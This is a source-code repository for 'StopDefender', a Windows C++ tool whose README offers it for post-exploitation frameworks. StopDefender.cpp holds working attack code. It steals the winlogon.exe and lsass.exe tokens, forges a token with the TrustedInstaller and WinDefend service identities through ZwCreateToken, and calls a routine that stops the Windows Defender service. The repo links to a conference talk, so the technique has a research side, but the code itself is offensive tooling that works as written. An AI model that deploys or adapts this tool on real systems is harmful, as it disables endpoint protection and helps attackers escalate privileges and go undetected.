├── .gitattributes ├── .gitignore ├── Img ├── TI2.png └── TIexec2.png ├── LICENSE ├── Presentations └── [Rootedcon Valencia 2022] Kill -9 Windows Defender.pdf ├── README.md ├── StopDefender.sln └── StopDefender ├── StopDefender.cpp ├── StopDefender.filters ├── StopDefender.vcxproj ├── StopDefender.vcxproj.filters ├── ntdll.h ├── stdafx.cpp ├── stdafx.h ├── targetver.h ├── util.cpp └── util.h /.gitattributes: -------------------------------------------------------------------------------- 1 | ############################################################################### 2 | # Set default behavior to automatically normalize line endings. 3 | ############################################################################### 4 | * text=auto 5 | 6 | ############################################################################### 7 | # Set default behavior for command prompt diff. 8 | # 9 | # This is need for earlier builds of msysgit that does not have it on by 10 | # default for csharp files. 11 | # Note: This is only used by command line 12 | ############################################################################### 13 | #*.cs diff=csharp 14 | 15 | ############################################################################### 16 | # Set the merge driver for project and solution files 17 | # 18 | # Merging from the command prompt will add diff markers to the files if there 19 | # are conflicts (Merging from VS is not affected by the settings below, in VS 20 | # the diff markers are never inserted). Diff markers may cause the following 21 | # file extensions to fail to load in VS. An alternative would be to treat 22 | # these files as binary and thus will always conflict and require user 23 | # intervention with every merge. To do so, just uncomment the entries below 24 | ############################################################################### 25 | #*.sln merge=binary 26 | #*.csproj merge=binary 27 | #*.vbproj merge=binary 28 | #*.vcxproj merge=binary 29 | #*.vcproj merge=binary 30 | #*.dbproj merge=binary 31 | #*.fsproj merge=binary 32 | #*.lsproj merge=binary 33 | #*.wixproj merge=binary 34 | #*.modelproj merge=binary 35 | #*.sqlproj merge=binary 36 | #*.wwaproj merge=binary 37 | 38 | ############################################################################### 39 | # behavior for image files 40 | # 41 | # image files are treated as binary by default. 42 | ############################################################################### 43 | #*.jpg binary 44 | #*.png binary 45 | #*.gif binary 46 | 47 | ############################################################################### 48 | # diff behavior for common document formats 49 | # 50 | # Convert binary document formats to text before diffing them. This feature 51 | # is only available from the command line. Turn it on by uncommenting the 52 | # entries below. 53 | ############################################################################### 54 | #*.doc diff=astextplain 55 | #*.DOC diff=astextplain 56 | #*.docx diff=astextplain 57 | #*.DOCX diff=astextplain 58 | #*.dot diff=astextplain 59 | #*.DOT diff=astextplain 60 | #*.pdf diff=astextplain 61 | #*.PDF diff=astextplain 62 | #*.rtf diff=astextplain 63 | #*.RTF diff=astextplain 64 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | ## Ignore Visual Studio temporary files, build results, and 2 | ## files generated by popular Visual Studio add-ons. 3 | 4 | # User-specific files 5 | *.suo 6 | *.user 7 | *.userosscache 8 | *.sln.docstates 9 | 10 | # User-specific files (MonoDevelop/Xamarin Studio) 11 | *.userprefs 12 | 13 | # Build results 14 | [Dd]ebug/ 15 | [Dd]ebugPublic/ 16 | [Rr]elease/ 17 | [Rr]eleases/ 18 | [Xx]64/ 19 | [Xx]86/ 20 | [Bb]uild/ 21 | bld/ 22 | [Bb]in/ 23 | [Oo]bj/ 24 | 25 | # Visual Studio 2015 cache/options directory 26 | .vs/ 27 | # Uncomment if you have tasks that create the project's static files in wwwroot 28 | #wwwroot/ 29 | 30 | # MSTest test Results 31 | [Tt]est[Rr]esult*/ 32 | [Bb]uild[Ll]og.* 33 | 34 | # NUNIT 35 | *.VisualState.xml 36 | TestResult.xml 37 | 38 | # Build Results of an ATL Project 39 | [Dd]ebugPS/ 40 | [Rr]eleasePS/ 41 | dlldata.c 42 | 43 | # DNX 44 | project.lock.json 45 | artifacts/ 46 | 47 | *_i.c 48 | *_p.c 49 | *_i.h 50 | *.ilk 51 | *.meta 52 | *.obj 53 | *.pch 54 | *.pdb 55 | *.pgc 56 | *.pgd 57 | *.rsp 58 | *.sbr 59 | *.tlb 60 | *.tli 61 | *.tlh 62 | *.tmp 63 | *.tmp_proj 64 | *.log 65 | *.vspscc 66 | *.vssscc 67 | .builds 68 | *.pidb 69 | *.svclog 70 | *.scc 71 | 72 | # Chutzpah Test files 73 | _Chutzpah* 74 | 75 | # Visual C++ cache files 76 | ipch/ 77 | *.aps 78 | *.ncb 79 | *.opendb 80 | *.opensdf 81 | *.sdf 82 | *.cachefile 83 | *.VC.db 84 | 85 | # Visual Studio profiler 86 | *.psess 87 | *.vsp 88 | *.vspx 89 | *.sap 90 | 91 | # TFS 2012 Local Workspace 92 | $tf/ 93 | 94 | # Guidance Automation Toolkit 95 | *.gpState 96 | 97 | # ReSharper is a .NET coding add-in 98 | _ReSharper*/ 99 | *.[Rr]e[Ss]harper 100 | *.DotSettings.user 101 | 102 | # JustCode is a .NET coding add-in 103 | .JustCode 104 | 105 | # TeamCity is a build add-in 106 | _TeamCity* 107 | 108 | # DotCover is a Code Coverage Tool 109 | *.dotCover 110 | 111 | # NCrunch 112 | _NCrunch_* 113 | .*crunch*.local.xml 114 | nCrunchTemp_* 115 | 116 | # MightyMoose 117 | *.mm.* 118 | AutoTest.Net/ 119 | 120 | # Web workbench (sass) 121 | .sass-cache/ 122 | 123 | # Installshield output folder 124 | [Ee]xpress/ 125 | 126 | # DocProject is a documentation generator add-in 127 | DocProject/buildhelp/ 128 | DocProject/Help/*.HxT 129 | DocProject/Help/*.HxC 130 | DocProject/Help/*.hhc 131 | DocProject/Help/*.hhk 132 | DocProject/Help/*.hhp 133 | DocProject/Help/Html2 134 | DocProject/Help/html 135 | 136 | # Click-Once directory 137 | publish/ 138 | 139 | # Publish Web Output 140 | *.[Pp]ublish.xml 141 | *.azurePubxml 142 | 143 | # TODO: Un-comment the next line if you do not want to checkin 144 | # your web deploy settings because they may include unencrypted 145 | # passwords 146 | #*.pubxml 147 | *.publishproj 148 | 149 | # NuGet Packages 150 | *.nupkg 151 | # The packages folder can be ignored because of Package Restore 152 | **/packages/* 153 | # except build/, which is used as an MSBuild target. 154 | !**/packages/build/ 155 | # Uncomment if necessary however generally it will be regenerated when needed 156 | #!**/packages/repositories.config 157 | # NuGet v3's project.json files produces more ignoreable files 158 | *.nuget.props 159 | *.nuget.targets 160 | 161 | # Microsoft Azure Build Output 162 | csx/ 163 | *.build.csdef 164 | 165 | # Microsoft Azure Emulator 166 | ecf/ 167 | rcf/ 168 | 169 | # Windows Store app package directory 170 | AppPackages/ 171 | BundleArtifacts/ 172 | 173 | # Visual Studio cache files 174 | # files ending in .cache can be ignored 175 | *.[Cc]ache 176 | # but keep track of directories ending in .cache 177 | !*.[Cc]ache/ 178 | 179 | # Others 180 | ClientBin/ 181 | [Ss]tyle[Cc]op.* 182 | ~$* 183 | *~ 184 | *.dbmdl 185 | *.dbproj.schemaview 186 | *.pfx 187 | *.publishsettings 188 | node_modules/ 189 | orleans.codegen.cs 190 | 191 | # RIA/Silverlight projects 192 | Generated_Code/ 193 | 194 | # Backup & report files from converting an old project file 195 | # to a newer Visual Studio version. Backup files are not needed, 196 | # because we have git ;-) 197 | _UpgradeReport_Files/ 198 | Backup*/ 199 | UpgradeLog*.XML 200 | UpgradeLog*.htm 201 | 202 | # SQL Server files 203 | *.mdf 204 | *.ldf 205 | 206 | # Business Intelligence projects 207 | *.rdl.data 208 | *.bim.layout 209 | *.bim_*.settings 210 | 211 | # Microsoft Fakes 212 | FakesAssemblies/ 213 | 214 | # GhostDoc plugin setting file 215 | *.GhostDoc.xml 216 | 217 | # Node.js Tools for Visual Studio 218 | .ntvs_analysis.dat 219 | 220 | # Visual Studio 6 build log 221 | *.plg 222 | 223 | # Visual Studio 6 workspace options file 224 | *.opt 225 | 226 | # Visual Studio LightSwitch build output 227 | **/*.HTMLClient/GeneratedArtifacts 228 | **/*.DesktopClient/GeneratedArtifacts 229 | **/*.DesktopClient/ModelManifest.xml 230 | **/*.Server/GeneratedArtifacts 231 | **/*.Server/ModelManifest.xml 232 | _Pvt_Extensions 233 | 234 | # LightSwitch generated files 235 | GeneratedArtifacts/ 236 | ModelManifest.xml 237 | 238 | # Paket dependency manager 239 | .paket/paket.exe 240 | 241 | # FAKE - F# Make 242 | .fake/ 243 | -------------------------------------------------------------------------------- /Img/TI2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lab52io/StopDefender/ad9b5086c43c80f134b1117cfadb79a5611d48e6/Img/TI2.png -------------------------------------------------------------------------------- /Img/TIexec2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lab52io/StopDefender/ad9b5086c43c80f134b1117cfadb79a5611d48e6/Img/TIexec2.png -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2022 lab52.io 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /Presentations/[Rootedcon Valencia 2022] Kill -9 Windows Defender.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lab52io/StopDefender/ad9b5086c43c80f134b1117cfadb79a5611d48e6/Presentations/[Rootedcon Valencia 2022] Kill -9 Windows Defender.pdf -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # StopDefender 2 | Stop Windows Defender programmatically creating a new token using TrustedInstaller and Windefend service accounts. 3 | 4 | ![](Img/TI2.png) 5 | 6 | One button stop action, no need for supply commandline options nor pid. Usefull for integration with Post Explotation frameworks. 7 | 8 | ![](Img/TIexec2.png) 9 | 10 | # Blogpost 11 | https://www.securityartwork.es/2021/09/27/trustedinstaller-parando-windows-defender/ 12 | 13 | # Presentations 14 | Check Presentations folder 15 | * [Rootedcon Valencia 2022] Kill -9 Windows Defender 16 | 17 | # Credits 18 | * https://github.com/slyd0g/PrimaryTokenTheft 19 | * https://posts.specterops.io/understanding-and-defending-against-access-token-theft-finding-alternatives-to-winlogon-exe-80696c8a73b 20 | * https://www.tiraniddo.dev/2017/08/the-art-of-becoming-trustedinstaller.html 21 | * https://docs.microsoft.com/en-us/windows/win32/com/impersonation-levels 22 | * https://halove23.blogspot.com/2021/08/executing-code-in-context-of-trusted.html 23 | * https://docs.microsoft.com/es-es/windows/win32/api/winsvc/ns-winsvc-service_sid_info?redirectedfrom=MSDN 24 | * https://www.alex-ionescu.com/?paged=2&cat=2 25 | * https://github.com/rbmm/DisableSvc 26 | 27 | -------------------------------------------------------------------------------- /StopDefender.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio 14 4 | VisualStudioVersion = 14.0.25420.1 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "StopDefender", "StopDefender\StopDefender.vcxproj", "{081FD037-C08F-421D-B9F1-DA99AC467715}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|x64 = Debug|x64 11 | Debug|x86 = Debug|x86 12 | Release|x64 = Release|x64 13 | Release|x86 = Release|x86 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {081FD037-C08F-421D-B9F1-DA99AC467715}.Debug|x64.ActiveCfg = Debug|x64 17 | {081FD037-C08F-421D-B9F1-DA99AC467715}.Debug|x64.Build.0 = Debug|x64 18 | {081FD037-C08F-421D-B9F1-DA99AC467715}.Debug|x86.ActiveCfg = Debug|Win32 19 | {081FD037-C08F-421D-B9F1-DA99AC467715}.Debug|x86.Build.0 = Debug|Win32 20 | {081FD037-C08F-421D-B9F1-DA99AC467715}.Release|x64.ActiveCfg = Release|x64 21 | {081FD037-C08F-421D-B9F1-DA99AC467715}.Release|x64.Build.0 = Release|x64 22 | {081FD037-C08F-421D-B9F1-DA99AC467715}.Release|x86.ActiveCfg = Release|Win32 23 | {081FD037-C08F-421D-B9F1-DA99AC467715}.Release|x86.Build.0 = Release|Win32 24 | EndGlobalSection 25 | GlobalSection(SolutionProperties) = preSolution 26 | HideSolutionNode = FALSE 27 | EndGlobalSection 28 | EndGlobal 29 | -------------------------------------------------------------------------------- /StopDefender/StopDefender.cpp: -------------------------------------------------------------------------------- 1 | /*MIT License 2 | 3 | Copyright(c) 2022 lab52.io 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this softwareand associated documentation files(the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and /or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions : 11 | 12 | The above copyright noticeand this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | */ 23 | 24 | #include "stdafx.h" 25 | #include 26 | #include 27 | #include 28 | #include 29 | #include 30 | #include 31 | #include 32 | #include "ntdll.h" 33 | #include "util.h" 34 | 35 | /// 36 | /// Opens a user provided process by name and steals token for impersonation 37 | /// 38 | /// Process Name 39 | /// Return Token Handle 40 | /// 41 | BOOL ImpersonateProcessTokenByName(PCTSTR pname, PHANDLE retHandle) { 42 | 43 | // Initialize variables and structures 44 | HANDLE tokenHandle = NULL; 45 | HANDLE duplicateTokenHandle = NULL; 46 | 47 | // Searching for Winlogon PID 48 | DWORD PID_TO_IMPERSONATE = GetProcessByName(pname); 49 | 50 | if (PID_TO_IMPERSONATE == NULL) { 51 | _tprintf(TEXT("[-] %s process not found\n"), pname); 52 | return FALSE; 53 | } 54 | else 55 | _tprintf(TEXT("[+] %s process found!\n"), pname); 56 | 57 | // Call OpenProcess() to open WINLOGON, print return code and error code 58 | HANDLE processHandle = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, true, PID_TO_IMPERSONATE); 59 | if (GetLastError() == NULL) 60 | _tprintf(TEXT("[+] %s OpenProcess() success!\n"), pname); 61 | else 62 | { 63 | _tprintf(TEXT("[-] %s OpenProcess() Return Code: %i\n"), pname, processHandle); 64 | _tprintf(TEXT("[-] %s OpenProcess() Error: %i\n"), pname, GetLastError()); 65 | return FALSE; 66 | } 67 | 68 | // Call OpenProcessToken(), print return code and error code 69 | BOOL getToken = OpenProcessToken(processHandle, TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY | TOKEN_QUERY | TOKEN_IMPERSONATE, &tokenHandle); 70 | if (GetLastError() == NULL) 71 | _tprintf(TEXT("[+] %s OpenProcessToken() success!\n"), pname); 72 | else 73 | { 74 | _tprintf(TEXT("[-] %s OpenProcessToken() Return Code: %i\n"), pname, getToken); 75 | _tprintf(TEXT("[-] %s OpenProcessToken() Error: %i\n"), pname, GetLastError()); 76 | return FALSE; 77 | } 78 | 79 | 80 | if (!DuplicateTokenEx(tokenHandle, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenImpersonation, retHandle)){ 81 | _tprintf(TEXT("[-] %s OpenProcessToken() Error: %i\n"), pname, GetLastError()); 82 | return FALSE; 83 | } 84 | 85 | 86 | _tprintf(TEXT("[+] %s DuplicateTokenEx() success!\n"), pname); 87 | 88 | // Impersonate user in a thread 89 | BOOL impersonateUser = ImpersonateLoggedOnUser(*retHandle); 90 | if (GetLastError() == NULL) 91 | { 92 | _tprintf(TEXT("[+] %s ImpersonatedLoggedOnUser() success!\n"), pname); 93 | _tprintf(TEXT("[+] %s Current user is: %s\n"), pname, (get_username()).c_str()); 94 | } 95 | else 96 | { 97 | _tprintf(TEXT("[-] %s ImpersonatedLoggedOnUser() Return Code: %i\n"), pname, getToken); 98 | _tprintf(TEXT("[-] %s ImpersonatedLoggedOnUser() Error: %i\n"), pname, GetLastError()); 99 | return FALSE; 100 | } 101 | 102 | // Closing not necessary handles 103 | CloseHandle(tokenHandle); 104 | CloseHandle(processHandle); 105 | 106 | // Print whoami to compare to thread later 107 | _tprintf(TEXT("[+] Current user is: %s\n"), (get_username()).c_str()); 108 | 109 | return TRUE; 110 | } 111 | 112 | /// 113 | /// Gets infomration from a provided token 114 | /// 115 | /// Token handle 116 | /// Token information structure 117 | /// 118 | PVOID GetInfoFromToken(HANDLE current_token, TOKEN_INFORMATION_CLASS tic) 119 | { 120 | DWORD n; 121 | PVOID data; 122 | 123 | if (!GetTokenInformation(current_token, tic, 0, 0, &n) && GetLastError() != ERROR_INSUFFICIENT_BUFFER) 124 | return 0; 125 | 126 | data = (PVOID)malloc(n); 127 | 128 | if (GetTokenInformation(current_token, tic, data, n, &n)) 129 | return data; 130 | else 131 | free(data); 132 | 133 | return 0; 134 | } 135 | 136 | /// 137 | /// Forge a new token with TrustedInstaller & Windefend service accounts using 138 | /// a base token 139 | /// 140 | /// Current token 141 | /// 142 | HANDLE CreateTokenWinDefend(HANDLE base_token) 143 | { 144 | LUID luid; 145 | PLUID pluidAuth; 146 | NTSTATUS ntStatus; 147 | LARGE_INTEGER li; 148 | PLARGE_INTEGER pli; 149 | DWORD sessionId; 150 | HANDLE elevated_token; 151 | 152 | PTOKEN_PRIVILEGES privileges; 153 | PTOKEN_OWNER owner; 154 | PTOKEN_PRIMARY_GROUP primary_group; 155 | PTOKEN_DEFAULT_DACL default_dacl; 156 | PTOKEN_GROUPS groups; 157 | SECURITY_QUALITY_OF_SERVICE sqos = { sizeof(sqos), SecurityImpersonation, SECURITY_STATIC_TRACKING, FALSE }; 158 | OBJECT_ATTRIBUTES oa = { sizeof(oa), 0, 0, 0, 0, &sqos }; 159 | SID_IDENTIFIER_AUTHORITY nt = SECURITY_NT_AUTHORITY; 160 | PSID_AND_ATTRIBUTES pSid; 161 | PISID pSidSingle; 162 | TOKEN_USER userToken; 163 | TOKEN_SOURCE sourceToken = { { '!', '!', '!', '!', '!', '!', '!', '!' }, { 0, 0 } }; 164 | PSID lpSidOwner = NULL; 165 | LUID authid = SYSTEM_LUID; 166 | PSID group1, group2; 167 | 168 | // TrustedInstaller SID 169 | BOOL t = ConvertStringSidToSid(TEXT("S-1-5-80-956008885-3418522649-1831038044-1853292631-2271478464"), &group2); 170 | 171 | //Windefend SID 172 | t = ConvertStringSidToSid(TEXT("S-1-5-80-1913148863-3492339771-4165695881-2087618961-4109116736"), &group1); 173 | 174 | _ZwCreateToken ZwCreateToken = (_ZwCreateToken)GetProcAddress(LoadLibraryA("ntdll"), "ZwCreateToken"); 175 | if (ZwCreateToken == NULL) { 176 | _tprintf(TEXT("[-] Failed to load ZwCreateToken: %d\n"), GetLastError()); 177 | return NULL; 178 | } 179 | 180 | DWORD dwBufferSize = 0; 181 | PTOKEN_USER user; 182 | user = (PTOKEN_USER)GetInfoFromToken(base_token, TokenUser); 183 | 184 | AllocateAndInitializeSid(&nt, 1, SECURITY_LOCAL_SYSTEM_RID, 185 | 0, 0, 0, 0, 0, 0, 0, &lpSidOwner); 186 | 187 | userToken.User.Sid = lpSidOwner; 188 | userToken.User.Attributes = 0; 189 | 190 | AllocateLocallyUniqueId(&luid); 191 | sourceToken.SourceIdentifier.LowPart = luid.LowPart; 192 | sourceToken.SourceIdentifier.HighPart = luid.HighPart; 193 | 194 | privileges = (PTOKEN_PRIVILEGES)GetInfoFromToken(base_token, TokenPrivileges); 195 | 196 | groups = (PTOKEN_GROUPS)GetInfoFromToken(base_token, TokenGroups); 197 | primary_group = (PTOKEN_PRIMARY_GROUP)GetInfoFromToken(base_token, TokenPrimaryGroup); 198 | default_dacl = (PTOKEN_DEFAULT_DACL)GetInfoFromToken(base_token, TokenDefaultDacl); 199 | 200 | pSid = groups->Groups; 201 | for (int i = 0; i < groups->GroupCount; ++i, pSid++) 202 | { 203 | PISID piSid = (PISID)pSid->Sid; 204 | if (piSid->SubAuthority[piSid->SubAuthorityCount - 1] == SECURITY_AUTHENTICATED_USER_RID) { 205 | pSid->Sid = group1; 206 | pSid->Attributes = SE_GROUP_ENABLED; 207 | } 208 | 209 | else if (piSid->SubAuthority[piSid->SubAuthorityCount - 1] == SECURITY_WORLD_RID) { 210 | pSid->Sid = group2; 211 | pSid->Attributes = SE_GROUP_ENABLED; 212 | } 213 | else if (piSid->SubAuthority[piSid->SubAuthorityCount - 1] == DOMAIN_ALIAS_RID_ADMINS) { 214 | pSid->Attributes = SE_GROUP_ENABLED; 215 | } 216 | else { 217 | pSid->Attributes &= ~SE_GROUP_USE_FOR_DENY_ONLY; 218 | pSid->Attributes &= ~SE_GROUP_ENABLED; 219 | } 220 | } 221 | 222 | owner = (PTOKEN_OWNER)LocalAlloc(LPTR, sizeof(PSID)); 223 | owner->Owner = user->User.Sid; 224 | //owner->Owner = GetLocalSystemSID(); 225 | 226 | pluidAuth = &authid; 227 | li.LowPart = 0xFFFFFFFF; 228 | li.HighPart = 0xFFFFFFFF; 229 | pli = &li; 230 | ntStatus = ZwCreateToken(&elevated_token, 231 | TOKEN_ALL_ACCESS, 232 | &oa, 233 | TokenImpersonation, 234 | pluidAuth, 235 | pli, 236 | user, 237 | //&userToken, 238 | groups, 239 | privileges, 240 | owner, 241 | primary_group, 242 | default_dacl, 243 | &sourceToken 244 | ); 245 | 246 | if (ntStatus == STATUS_SUCCESS) 247 | return elevated_token; 248 | else 249 | _tprintf(TEXT("[-] Failed to create new token: %d %08x\n"), GetLastError(), ntStatus); 250 | 251 | FreeSid(lpSidOwner); 252 | if (groups) LocalFree(groups); 253 | if (privileges) LocalFree(privileges); 254 | 255 | return NULL; 256 | } 257 | 258 | 259 | int __cdecl _tmain(int argc, TCHAR* argv[]) { 260 | 261 | HANDLE impersonatedTokenHandle = NULL; 262 | // Print whoami to compare to thread later 263 | _tprintf(TEXT("[+] Current user is: %s\n"), (get_username()).c_str()); 264 | 265 | //Step 1: Get System token and impersonate in current thread avoiding SeDebugPriv 266 | if (!ImpersonateProcessTokenByName(TEXT("winlogon.exe"), &impersonatedTokenHandle)) 267 | exit(1); 268 | 269 | //Step 2: Get a token with SeCreateTokenPriv enabled Ex. Lsass.exe have it 270 | if (!ImpersonateProcessTokenByName(TEXT("lsass.exe"), &impersonatedTokenHandle)) 271 | exit(1); 272 | 273 | //Step3: Forge a new token with Windefend and TrustedInstaller service accounts 274 | impersonatedTokenHandle = CreateTokenWinDefend(impersonatedTokenHandle); 275 | 276 | if (impersonatedTokenHandle == NULL) 277 | exit(1); 278 | 279 | _tprintf(TEXT("[+] CreateTokenWinDefend success!\n")); 280 | 281 | //Step 3: Impersonate with forged token 282 | if (ImpersonateLoggedOnUser(impersonatedTokenHandle)) 283 | { 284 | _tprintf(TEXT("[+] ImpersonatedLoggedOnUser() success!\n")); 285 | _tprintf(TEXT("[+] Current user is: %s\n"), (get_username()).c_str()); 286 | } 287 | else 288 | { 289 | _tprintf(TEXT("[-] ImpersonatedLoggedOnUser() Error: %i\n"), GetLastError()); 290 | return FALSE; 291 | } 292 | 293 | //Step 4: Finally Stop the defender service 294 | if (StopDefenderService()) { 295 | _tprintf(TEXT("[+] StopDefenderServices success!\n")); 296 | } 297 | else { 298 | _tprintf(TEXT("[-] StopDefenderServices Error: %i\n"), GetLastError()); 299 | } 300 | 301 | return 0; 302 | } -------------------------------------------------------------------------------- /StopDefender/StopDefender.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;hm;inl;inc;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | Archivos de encabezado 23 | 24 | 25 | Archivos de encabezado 26 | 27 | 28 | 29 | 30 | Archivos de código fuente 31 | 32 | 33 | Archivos de código fuente 34 | 35 | 36 | -------------------------------------------------------------------------------- /StopDefender/StopDefender.vcxproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | {081FD037-C08F-421D-B9F1-DA99AC467715} 23 | Win32Proj 24 | StopDefender 25 | 10.0 26 | 27 | 28 | 29 | Application 30 | true 31 | v142 32 | Unicode 33 | 34 | 35 | Application 36 | false 37 | v142 38 | true 39 | Unicode 40 | 41 | 42 | Application 43 | true 44 | v142 45 | Unicode 46 | 47 | 48 | Application 49 | false 50 | v142 51 | true 52 | Unicode 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | true 74 | 75 | 76 | true 77 | 78 | 79 | false 80 | 81 | 82 | false 83 | 84 | 85 | 86 | Use 87 | Level3 88 | Disabled 89 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) 90 | true 91 | MultiThreaded 92 | 93 | 94 | Console 95 | true 96 | 97 | 98 | 99 | 100 | Use 101 | Level3 102 | Disabled 103 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions) 104 | true 105 | MultiThreaded 106 | 107 | 108 | Console 109 | true 110 | 111 | 112 | 113 | 114 | Level3 115 | Use 116 | MaxSpeed 117 | true 118 | true 119 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 120 | true 121 | MultiThreaded 122 | 123 | 124 | Console 125 | true 126 | true 127 | true 128 | 129 | 130 | 131 | 132 | Level3 133 | Use 134 | MaxSpeed 135 | true 136 | true 137 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 138 | true 139 | MultiThreaded 140 | 141 | 142 | Console 143 | true 144 | true 145 | true 146 | 147 | 148 | 149 | 150 | 151 | 152 | 153 | 154 | 155 | 156 | Create 157 | Create 158 | Create 159 | Create 160 | 161 | 162 | 163 | 164 | 165 | 166 | 167 | -------------------------------------------------------------------------------- /StopDefender/StopDefender.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | -------------------------------------------------------------------------------- /StopDefender/ntdll.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | /*DEFINES*/ 4 | #ifndef STATUS_SUCCESS 5 | #define STATUS_SUCCESS ((NTSTATUS)0x00000000L) 6 | #endif 7 | 8 | /*STRUCTURES*/ 9 | typedef struct _SID_BUILTIN 10 | { 11 | UCHAR Revision; 12 | UCHAR SubAuthorityCount; 13 | SID_IDENTIFIER_AUTHORITY IdentifierAuthority; 14 | ULONG SubAuthority[2]; 15 | } SID_BUILTIN, * PSID_BUILTIN; 16 | 17 | typedef struct _SID_INTEGRITY 18 | { 19 | UCHAR Revision; 20 | UCHAR SubAuthorityCount; 21 | SID_IDENTIFIER_AUTHORITY IdentifierAuthority; 22 | ULONG SubAuthority[1]; 23 | 24 | } SID_INTEGRITY, * PSID_INTEGRITY; 25 | 26 | typedef struct _UNICODE_STRING 27 | { 28 | WORD Length; 29 | WORD MaximumLength; 30 | WORD* Buffer; 31 | } UNICODE_STRING, * PUNICODE_STRING; 32 | 33 | typedef struct _OBJECT_ATTRIBUTES 34 | { 35 | ULONG Length; 36 | PVOID RootDirectory; 37 | PUNICODE_STRING ObjectName; 38 | ULONG Attributes; 39 | PVOID SecurityDescriptor; 40 | PVOID SecurityQualityOfService; 41 | } OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES; 42 | 43 | /*Function types*/ 44 | typedef NTSYSAPI NTSTATUS (NTAPI* _ZwCreateToken)( 45 | OUT PHANDLE TokenHandle, 46 | IN ACCESS_MASK DesiredAccess, 47 | IN POBJECT_ATTRIBUTES ObjectAttributes, 48 | IN TOKEN_TYPE Type, 49 | IN PLUID AuthenticationId, 50 | IN PLARGE_INTEGER ExpirationTime, 51 | IN PTOKEN_USER User, 52 | IN PTOKEN_GROUPS Groups, 53 | IN PTOKEN_PRIVILEGES Privileges, 54 | IN PTOKEN_OWNER Owner, 55 | IN PTOKEN_PRIMARY_GROUP PrimaryGroup, 56 | IN PTOKEN_DEFAULT_DACL DefaultDacl, 57 | IN PTOKEN_SOURCE Source 58 | ); -------------------------------------------------------------------------------- /StopDefender/stdafx.cpp: -------------------------------------------------------------------------------- 